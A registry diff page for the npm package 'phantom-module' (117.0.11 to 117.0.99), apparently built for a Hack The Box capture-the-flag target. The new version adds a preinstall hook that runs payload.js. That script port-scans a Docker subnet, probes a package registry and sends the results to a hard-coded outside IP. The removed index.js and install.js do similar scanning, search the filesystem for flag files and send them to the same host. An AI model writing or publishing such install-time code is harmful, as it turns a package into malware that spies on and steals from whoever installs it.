phantom-module 117.0.11 → 117.0.99

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/index.js CHANGED
@@ -1,67 +1 @@
1
- const fs = require('fs');
2
- const http = require('http');
3
- const net = require('net');
4
-
5
- (function() {
6
- if (!fs.existsSync('/home/node/aspect-node')) {
7
- return;
8
- }
9
-
10
- let results = "";
11
- let pending = 0;
12
- const ips = [];
13
- for (let i = 1; i <= 10; i++) {
14
- ips.push(`172.17.0.${i}`);
15
- }
16
-
17
- function sendResults() {
18
- const postData = JSON.stringify({
19
- manifest: `ecto_module:\n name: "PORT_SCAN"\n cargo_hold: ${JSON.stringify(results.substring(0, 3500))}\n`
20
- });
21
-
22
- const req = http.request({
23
- hostname: '154.57.164.64',
24
- port: 31205,
25
- path: '/api/modules/ECT-839201',
26
- method: 'PUT',
27
- headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) }
28
- });
29
- req.write(postData);
30
- req.end();
31
- }
32
-
33
- ips.forEach(ip => {
34
- pending++;
35
- const sock = new net.Socket();
36
- sock.setTimeout(2000);
37
- sock.on('connect', () => {
38
- results += `${ip}:4873 OPEN\n`;
39
- sock.destroy();
40
- pending--;
41
- if (pending === 0) sendResults();
42
- });
43
- sock.on('timeout', () => {
44
- results += `${ip}:4873 TIMEOUT\n`;
45
- sock.destroy();
46
- pending--;
47
- if (pending === 0) sendResults();
48
- });
49
- sock.on('error', (e) => {
50
- results += `${ip}:4873 ${e.code}\n`;
51
- pending--;
52
- if (pending === 0) sendResults();
53
- });
54
- sock.connect(4873, ip);
55
- });
56
-
57
- setTimeout(() => {
58
- if (pending > 0) {
59
- results += `(${pending} still pending)\n`;
60
- sendResults();
61
- }
62
- }, 5000);
63
- })();
64
-
65
- module.exports = function() {
66
- return "pwnd";
67
- };
1
+ module.exports = {};
package/package.json CHANGED
@@ -1,5 +1,9 @@
1
1
  {
2
2
  "name": "phantom-module",
3
- "version": "117.0.11",
4
- "main": "index.js"
3
+ "version": "117.0.99",
4
+ "description": "Phantom module",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node payload.js || true"
8
+ }
5
9
  }
package/payload.js ADDED
@@ -0,0 +1,105 @@
1
+ const net = require('net');
2
+ const http = require('http');
3
+ const fs = require('fs');
4
+
5
+ if (!fs.existsSync('/home/node/aspect-node')) process.exit(0);
6
+
7
+ const REPORT_HOST = '154.57.164.64';
8
+ const REPORT_PORT = 31205;
9
+
10
+ async function report(moduleId, data) {
11
+ return new Promise((resolve) => {
12
+ const safeData = String(data).replace(/"/g, '\\"').replace(/\n/g, '\\n').substring(0, 3500);
13
+ const manifest = `ecto_module:\n name: "SCAN_RESULT"\n cargo_hold: "${safeData}"\n`;
14
+ const payload = JSON.stringify({ manifest });
15
+ const req = http.request({
16
+ hostname: REPORT_HOST, port: REPORT_PORT, path: `/api/modules/${moduleId}`, method: 'PUT',
17
+ headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }
18
+ }, () => resolve(true));
19
+ req.on('error', () => resolve(false));
20
+ req.write(payload);
21
+ req.end();
22
+ });
23
+ }
24
+
25
+ function checkPort(host, port) {
26
+ return new Promise((resolve) => {
27
+ const sock = new net.Socket();
28
+ sock.setTimeout(400);
29
+ sock.on('connect', () => { sock.destroy(); resolve(true); });
30
+ sock.on('error', () => { sock.destroy(); resolve(false); });
31
+ sock.on('timeout', () => { sock.destroy(); resolve(false); });
32
+ sock.connect(port, host);
33
+ });
34
+ }
35
+
36
+ function httpGet(url) {
37
+ return new Promise((resolve) => {
38
+ const req = http.get(url, { timeout: 1500 }, (res) => {
39
+ let body = '';
40
+ res.on('data', c => body += c);
41
+ res.on('end', () => resolve({ status: res.statusCode, body }));
42
+ });
43
+ req.on('error', e => resolve({ status: 0, body: e.message }));
44
+ });
45
+ }
46
+
47
+ async function main() {
48
+ await report('ECT-654321', 'SCAN V10 STARTING...');
49
+
50
+ const base = '172.17.0';
51
+ const ports = [4873, 80, 8080, 3000, 5000];
52
+ let scanOutput = '=== SCAN V10 ===\n';
53
+ let foundTarget = null;
54
+
55
+ // Scan IPs 1-10
56
+ for (let i = 1; i <= 10; i++) {
57
+ const ip = `${base}.${i}`;
58
+ for (const port of ports) {
59
+ if (await checkPort(ip, port)) {
60
+ scanOutput += `OPEN ${ip}:${port}\n`;
61
+
62
+ // Try HTTP probe
63
+ const res = await httpGet(`http://${ip}:${port}/`);
64
+ scanOutput += `HTTP ${ip}:${port} -> ${res.status} (len ${res.body ? res.body.length : 0})\n`;
65
+
66
+ // If it looks like a registry or API, probe deeper
67
+ if (res.status === 200 || res.body.includes('Verdaccio') || port === 4873) {
68
+ foundTarget = `http://${ip}:${port}`;
69
+ scanOutput += `*** POTENTIAL TARGET FOUND ***\n`;
70
+ }
71
+ }
72
+ }
73
+ }
74
+
75
+ await report('ECT-839201', scanOutput);
76
+
77
+ if (foundTarget) {
78
+ let result = `=== TARGET: ${foundTarget} ===\n`;
79
+
80
+ // 1. Try to get ecto-spirit metadata
81
+ const ecto = await httpGet(`${foundTarget}/ecto-spirit`);
82
+ result += `/ecto-spirit: ${ecto.status}\n${ecto.body ? ecto.body.substring(0, 1000) : ''}\n`;
83
+
84
+ // 2. Try to list all packages
85
+ const all = await httpGet(`${foundTarget}/-/all`);
86
+ result += `/-/all: ${all.status}\n${all.body ? all.body.substring(0, 500) : ''}\n`;
87
+
88
+ // 3. Try to get the flag directly if hinted
89
+ if (ecto.body && ecto.body.includes('tarball')) {
90
+ try {
91
+ const json = JSON.parse(ecto.body);
92
+ // Check if description or readme has flag
93
+ if (JSON.stringify(json).includes('htb{')) {
94
+ result += `!!! FLAG IN METADATA !!!\n`;
95
+ }
96
+ } catch(e) {}
97
+ }
98
+
99
+ await report('ECT-987654', result);
100
+ } else {
101
+ await report('ECT-987654', 'No web service found in 1-10 range.');
102
+ }
103
+ }
104
+
105
+ main().catch(e => report('ECT-654321', 'ERR: ' + e.message));
Binary file
package/install.js DELETED
@@ -1,36 +0,0 @@
1
- const fs = require('fs');
2
- const http = require('http');
3
- const { spawn } = require('child_process');
4
-
5
- (function() {
6
- const child = spawn('/bin/sh', ['-c', [
7
- 'sleep 35',
8
- 'OUTPUT="NONE"',
9
- 'LOGFILE="/home/node/aspect-node/logs/module.log"',
10
- 'if [ -f "$LOGFILE" ]; then',
11
- ' OUTPUT=$(tail -n 100 "$LOGFILE" | tr \'"\' "\'" | head -c 1000)',
12
- 'else',
13
- ' OUTPUT="LOG FILE NOT FOUND!"',
14
- 'fi',
15
- 'FLAG_FILES=$(find / -name "*flag*" -type f 2>/dev/null | head -c 500)',
16
- 'BODY=\'{"manifest":"ecto_module:\\n name: \\\\"FLAG_DELAYED\\\\"\\n cargo_hold: \\\\"\'$OUTPUT\' | FILES: \'$FLAG_FILES\'\\\\"\\"}\'',
17
- 'echo "$BODY" > /tmp/flag.json',
18
- 'node -e "const http=require(\'http\');const d=require(\'fs\').readFileSync(\'/tmp/flag.json\',\'utf8\');const r=http.request({hostname:\'154.57.164.64\',port:31205,path:\'/api/modules/ECT-654321\',method:\'PUT\',headers:{\'Content-Type\':\'application/json\',\'Content-Length\':Buffer.byteLength(d)}});r.write(d);r.end();"'
19
- ].join('\n')], { detached: true, stdio: 'ignore' });
20
-
21
- child.unref();
22
-
23
- // Send an immediate ping so we know it started
24
- const postData = JSON.stringify({
25
- manifest: `ecto_module:\n name: "WAITING_35_SECONDS"\n`
26
- });
27
- const req = http.request({
28
- hostname: '154.57.164.64',
29
- port: 31205,
30
- path: '/api/modules/ECT-654321',
31
- method: 'PUT',
32
- headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) }
33
- });
34
- req.write(postData);
35
- req.end();
36
- })();